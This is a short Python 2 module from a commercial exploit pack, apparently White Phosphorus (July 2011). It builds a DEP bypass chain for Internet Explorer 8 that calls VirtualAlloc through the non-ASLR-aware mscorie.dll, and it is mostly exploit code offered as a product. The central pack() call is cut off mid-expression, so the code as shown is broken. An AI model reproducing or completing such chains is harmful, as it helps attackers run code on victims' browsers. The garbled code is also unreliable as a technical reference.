#+-------- --- - #| White Phosphorus Exploit Pack mscorie.dll DEP Bypass Chain #| July 2011 #+-- from struct import pack def wp_mscorieDEPBypass(size=2200): # White Phosphorus # Universal DEP Bypass for IE8 using VirtualAlloc # # Using the .net2.0 loading of mscorie.dll which is not aslr aware # This method was publically disclosed in great work of # http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf # # web: http://www.whitephosphorus org # mail: support@whitephosphorus org # sales: http://www.immunityinc.com/products-whitephosphorus.shtml size += 76 # This is the size of the DEP bypass + ptr in # relation to the initial ESP print "WP> Building IE8 mscorie.dll DEP bypass using VirtualAlloc" depBypass = pack(' IE8 mscorie.dll DEP Bypass Size: %d Bytes" % len(depBypass) return depBypass